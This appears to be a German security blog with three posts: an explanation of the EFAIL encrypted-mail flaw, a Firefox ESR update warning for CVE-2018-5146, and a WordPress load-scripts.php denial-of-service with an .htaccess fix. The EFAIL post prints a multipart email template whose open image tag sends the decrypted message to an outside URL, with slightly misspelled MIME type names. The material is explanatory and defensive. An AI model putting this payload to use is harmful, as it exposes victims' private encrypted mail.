EFail: Die Katze ist aus dem Sack

Die Katze ist aus dem Sack, das Whitepaper zur EFAIL Schwachstelle ist bekannt. Als Entwickler auch von komplexen Programmen zum Parsen von (auch abgedrehten) Formaten, kann ich Euch sagen, daß es genug Scheisse da draußen gibt, die man fehlertolerant behandeln kann, aber die EFAIL Schwachstelle ist genau das : EIN MEGAFAIL!

Selbstgemachtes GPG Schwachstellen Logo 🙂

EFail – Der MEGAFAIL

Der Exploit basiert darauf, daß man eine verschlüsselte Email an den Empfänger A abgefangen hat, diese aber nicht dekodieren kann. Das bleibt auch nach der Lücke so! Also PGP/GPG sind an sich fein raus, die haben gar keine Schuld an der Sache.

Nun bettet man den verschlüsselten Block der Mail in eine Multipart-Mime Message, die aus zwei HTML und einem Cipherblock (dem verschlüsselten Mailteil) besteht. Das könnte so aussehen:

From: <unverdächtig@kenneich.de>
To: <opfer@opfer.de>
Content-Type: multipart/mixed;boundary="GRENZE"

--GRENZE
Content-Type: text/html;charset=ascii

<html><body><img src="https://efail.de/
--GRENZE
Content-Type: application/pkcs7-mine;smine-type=enveloped-data
Content-Transfer-Encoding: base64

hQIMA+PS/5obaKVzARAAuG0PvUFHEzRp+U9HAm1GgjnUwy6afP60q0QYl9vWby5h
ysIVpoXrHZqn3H8f/+FjsoZ2YpDlCqhvKzn/UaP8kxb21YN1+eSaMi55b6WFyIif
hbxnp2Z155YM6Sx+VrTa55DQEF2c7LzyFKcE1csRiB0py+bWJKFPERRhXxSVOMpv
sZB3oLcZmBS990RgjbGUUZhXClxubwwqXo3K41Wj8kktQvZ7YD6hMz46V26kN4Ru
PLt1PQ/+P0iznlNjXaIckLXUq/RNpRMC5469Dp674OECZ2kc3fFrv5zkZcs0Kg5r
...
--GRENZE
Content-Type: text/html;charset=ascii

"></body></html>
--GRENZE--

Was jetzt passiert ist, daß der Mimeparser des Emailprogramms, den verschlüsselten Block vom PGP Plugin dekodieren läßt und nahtlos in das umgebende HTML einfügt. Es kommt dann eine URL raus wie => „https://efail.de/TEXT+DER+NACHRICHT+AN+DEN+EMPFÄNGER“, welche als Bild in dem HTML eingebettet ist, was die meisten Mailprogramme dazu bringt, diese sofort zu rendern. Also schickt der Client damit eine Bildanfrage und überträgt so die dekodierte Nachricht.

Voraussetzungen

1. Man braucht eine verschlüsselte Email an den Empfänger
2. Man braucht einen Webserver, der mehr als 512 Zeichen in der URL annimmt ( selbstschreiben vermutlich)
3. Man braucht ein Emailprogramm beim Opfer, dessen Parser von einem Irren geschrieben wurde
UND 4. das ungefragt Bilder von externen unbekannten Webseiten nachlädt.

1+2 kann der Angreifer liefern, 3+4 muß das Opfer beisteuern.

Der Pressetenor

Der allgemeine Pressetenor war heute, daß die Plugins einen Bug haben. Wenn aber obiges so zutrifft, dann haben die Plugins keinen BUG, sie sind nur zwingend notwendig, daß der Angriff automatisch ablaufen kann. Schaltet man die aus, läuft der Angriff ins Leere.

Was in einigen Webseiten aber abgeleitet wurde war, daß die Verschlüsselung geknackt wurde und das trotz monatelanger Vorwarnung, die Emailprogramme keinen Schutz dagegen gefunden haben.

Das aber ist LÄCHERLICH.

Hier wird wiedermal eine Sau durchs Dorf getrieben, die es nicht verdient hat. Ja, das Ganze ist ein Bug. Ja, der ist in der Wirkung echt schlimm. Nein, die Verschlüsselung wurde nicht geknackt, die wurde nur vom Emailprogramm automatisch aufgehoben und exfiltriert und genau da liegt der Hund begraben. Wie kann man nur einen Parser bauen, der die drei Teile einer Email, die als DREI Teile in der Email vorliegen, zu einem Teil zusammen fassen? Das ist die Frage.

Die, die den Parser geschrieben haben, der die drei Teile verbindet, die sollten ihre Studiengebühren zurück bekommen, sofern sie welche gezahlt haben!

Schlimmer ist nur noch, daß mindestens drei unterschiedliche Teams den gleichen Fehler gemacht haben.

Updates

Thunderbird wird erst mit einer Version 52.8 nicht mehr verwundbar sein. Ich nehme mal an, die Version kommt jetzt etwas zügiger raus, als geplant.

Mozilla FireFox ESR Exploit

Ok Leute, wer von Euch fährt noch eine FireFox ESR 52 Version ?  Zeit zu Updaten und zwar ZZ!

Bug 1557221 – (CVE-2018-5146) CVE-2018-5146 Mozilla: Vorbis audio processing out (Redhat)

Betroffene Software Versionen : ALLE vor  FF 59

Neue Logos scheint Mozilla, im Gegensatz zu grundlegenden Securityaudits, lieber zu mögen.

Quelle: https://www.securityfocus.com/bid/103432/info

Schau sich mal einer die Versionsliste an 😉 ALLE meint wirklich ALLE 😀

WordPress DOS – wp-admin Verzeichnis schützen

Die Hacker News berichten von einem Angriff auf WordPress, der von Seiten der Entwickler als „nicht-unsere-Baustelle“ abgeschmettert wurde, aber ganz leicht abgewehrt werden kann.

Der Angriff

Im wp-admin Verzeichnis gibt es ein Script namens „load-scripts.php„, das auf Zuruf, und liegt das Problem, alle Javascripte der Installation, zu einer gemeinsamen Javascriptseite zusammenbaut, damit der Browser nicht jede einzeln laden muß. Das Problem daran ist, jeder kann die Seite aufrufen. Wenn man dann noch die gesamten Javascripte eines WordPress zusammenstellen läßt, reichen wenige Aufrufe, bis die Webseite offline ist.

Das liegt daran, daß bei der Zusammenstellung sehr viel IO entsteht, was den Webserver belastet. Dadurch wird alles langsamer, bis es bei genug Anfragen zum faktischen Stillstand kommt. Dazu kommt eine erhöhte Rechenleistung während die Scripte Ihren Job tun.

Was meint WordPress dazu ?

Die sagen, daß ein Admin diese Seite aufrufen können muß, wenn er noch nicht als Admin erkennbar ist. Also muß es jeder können. Man solle doch das Problem irgendwo anders löschen, nur nicht bei Ihnen.

„However, the company refused to acknowledge the issue, saying that this kind of bug „should really get mitigated at the server end or network level rather than the application level,“ which is outside of WordPress’s control.“ (Zitat von THN )

Das ist natürlich peinlich, weil jemand das in WordPress gefixt hat und einen Fork davon bereitstellt. Es ist also scheinbar leicht möglich es zu beheben.

Eine Lösung des Problems

Wenn Ihr Zugriff auch Euren Webserver habt, erstellt Ihr einfach für wp-admin eine .htaccess Datei . Das kann man über eine Weboberfläche lösen, so wie hier :

Wenn man die HT-Accessabfrage mit  Usernamen und Passwort anlegt, fragt einen der Browser nach den Zugangsdaten, aber merkt sich die auch, so daß man selbst recht unproblematisch wieder ins Backend gelangt. ( Die 5.6 Version von PHP ist wohl beim Testen hängen geblieben und wurde bereinigt 😉 ).

Nach dem Anlegen zeigt meine Oberfläche dann auch an, daß dort eine HTAccess mit Benutzernamen liegt :

Admin-Weboberfläche nach dem Anlegen des Benutzers

Nach dem Anlegen des Benutzers

Wenn man das alles von Hand machen muß, geht das so :

In die Datei wp-admin/.htaccess  kommt dieser Inhalt, bei dem Ihr den Pfad anpassen müßt:

AuthType Basic
AuthName "Das ist mein WordPress!"
AuthUserFile /path_to_wp/wp-admin/.htpasswd
Require valid-user

danach gibt man in der Bash ein :

htpasswd -bc  /path_to_wp/wp-admin/.htpasswd username password

Das war es dann schon. Jetzt noch im Browser wp-admin/ aufrufen und die neuen Zugangsdaten eingeben und auf Speichern drücken.